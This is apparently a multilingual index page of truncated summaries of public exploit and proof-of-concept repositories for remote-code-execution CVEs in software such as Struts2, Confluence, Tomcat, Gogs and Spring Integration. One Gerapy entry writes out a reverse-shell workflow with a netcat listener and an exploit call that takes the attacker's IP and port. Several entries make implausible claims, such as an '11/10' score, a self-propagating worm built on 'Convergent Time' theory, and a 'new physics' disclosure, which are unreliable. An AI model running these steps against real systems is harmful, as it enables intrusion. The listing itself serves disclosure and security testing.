CVE-2026-1560-Authenticated-Remote-Code-Execution-in-Lazy-Blocks-4.2.0

CVE-2026-1560 – Esecuzione Remota di Codice Autenticata in Custom Block Builder – Lazy Blocks ≤ 4.2.0 Ricercatore : ZeYrOXxx Plugin : Custom Block Builder – Lazy Blocks Versioni Affette : ≤ 4.2.0 Gravità : Alta CVSS : 8.8 Tipo di Vulnerabilità : Esecuzione Remota di Codice Autenticata RCE Vettore...

CVE-2025-24893

Infos Questa PoC prima verifica la presenza della SSTI e, se funziona, entra in un ciclo e ti permette di eseguire comandi da remoto. I comandi exec e shell attualmente fanno la stessa cosa. Utilizzo Connessione root@kitploit: python3 poc.py Esempio Con debug impostato su False predefinito...

CVE-2021-31805

CVE-2021-31805 रिमोट कोड निष्पादन S2-062 CVE-2021-31805 Apache Struts2 द्वारा S2-061 CVE-2020-17530 के अधूरे फिक्स के कारण, कुछ टैग विशेषताएँ अभी भी OGNL एक्सप्रेशन निष्पादित कर सकती हैं। यह भेद्यता एक हमलावर को दुर्भावनापूर्ण डेटा बनाकर दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देती है।...

CVE-2026-24061_POC

CVE-2026-24061 GNU Telnetd RCE Parametri dello Script...

CVE-2021-44521

CVE-2021-44521 Automatisierter PoC für CVE-2021-44521 Danksagung an den ursprünglichen PoC: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ Anforderungen Cassandra-Treiber root@kitploit: pip3 install cassandra-driver Verwendung...

CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2026-47864

Spring Integration 's SerializingHttpMessageConverter deserializes incoming HTTP request bodies using a raw java.io.ObjectInputStream with no class filtering. Any request carrying Content-Type: application/x-java-serialized-object whose body resolves to a Serializable type is passed directly to r...

CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2023-22527

CVE-2023-22527 Questo repository presenta una proof-of-concept della CVE-2023-22527 CVE-2023-22527 | RCE tramite SSTI in Confluence Disclaimer Questo codice è una proof-of-concept della vulnerabilità; non incoraggio nessuno a utilizzarlo su istanze Confluence di cui non si è proprietari. Questo...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 Connectez-vous au portail en tant qu'admin Ajoutez un nouveau projet sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

CVE-2017-7269-Echo-PoC

CVE-2017-7269 दूरस्थ कोड निष्पादन इको सत्यापन हमारी टीम द्वारा इस CVE-2017-7269 भेद्यता का विश्लेषण रिपोर्ट: https://ht-sec.org/cve-2017-7269-vulnerabilities/ डिफ़ॉल्ट PoC केवल calc.exe चला सकता है, अब इसे अनुरोधों का जवाब देने के लिए संशोधित किया गया है, कमांड प्रारूप: CVE-2017-7269remoteecho.py...

CVE-2025-55752

🚨🚨 CVE-2025-55752 — Apache Tomcat: Bypass de proteção de diretórios via Rewrite Valve → RCE via PUT🚨🚨 Resumo A CVE-2025-55752 é uma regressão de segurança no Apache Tomcat introduzida durante a correção do bug 60013. Quando o Rewrite Valve é utilizado, o Tomcat aplica a normalização de caminho...

CVE-2025-8110-Silentium-HTB

CVE-2025-8110 — Gogs RCE PoC Silentium / HackTheBox अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है। यह zAbuQasem/gogs-CVE-2025-8110 का एक संशोधित संस्करण है, जिसे HackTheBox पर...

CVE-2026-0709

Ferramenta Hikvision Wireless AP – RCE Autenticado CVE-2026-0709 Esta ferramenta é uma prova de conceito em Python para testar pontos de acesso sem fio Hikvision quanto à CVE-2026-0709 , uma vulnerabilidade de injeção de comandos autenticada que pode levar à execução remota de código em...

Sovereign-Echo-33017

Exploit-Titel: Langflow 1.8.1 - Nicht authentifizierte Remote-Codeausführung RCE Datum: 2026-03-21 Exploit-Autor: Americo N. F. Simoes SimoesCTT Hersteller-Homepage: https://www.langflow.org/ Software-Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Getestet auf: Linux/Fedora 40...

CTT-NFS-Vortex-RCE

CTT-NFS-Vortex-RCE CVE-2026-21509 ⚠️ Technisches Advisory: New Physics Disclosure Dieses Repository enthält einen vollständig ausgereiften Exploit für CVE-2026-21509 , der den Windows Network File System NFSv4.1 Kernel-Mode-Treiber nfssvr.sys angreift. Im Gegensatz zu standardmäßigen PoCs, die auf...

CVE-2019-18935

CVE-2019-18935 Nuclei Template - Bounty Submission Dieses Repository enthält eine vollständige, validierte Nuclei-Vorlage zur Erkennung von CVE-2019-18935 Telerik UI for ASP.NET AJAX Deserialization RCE, erstellt für das ProjectDiscovery-Bounty-Programm. 🎯 Übersicht CVE-2019-18935 ist eine...

CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover

🎯 CTT-Mailpit-Exploit: Punteggio Perfetto 11/10 Worm Zero-Click Trasforma una semplice injection nell'header SMTP CVE-2026-23829 in un worm RCE auto-propagante con punteggio perfetto utilizzando la Teoria del Tempo Convergente. 📊 Trasformazione del Punteggio: 6.1 → 11.0/10 ⭐ Metrica Originale...

CVE-2026-33032-nginx-ui-vuln-lab

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Si...

CVE-2025-69600

CVE-2025-69600 autor: Rafael José Núñez Gulías empresa: Iberian Var Group Produtos afetados: RayVentory Scan Engine 12.6 Update 8 e versões anteriores Aviso da Raynet: RSEC200966 Injeção de comandos no rvia da Raynet permite que adversários executem comandos por meio das opções getconfig, upload,...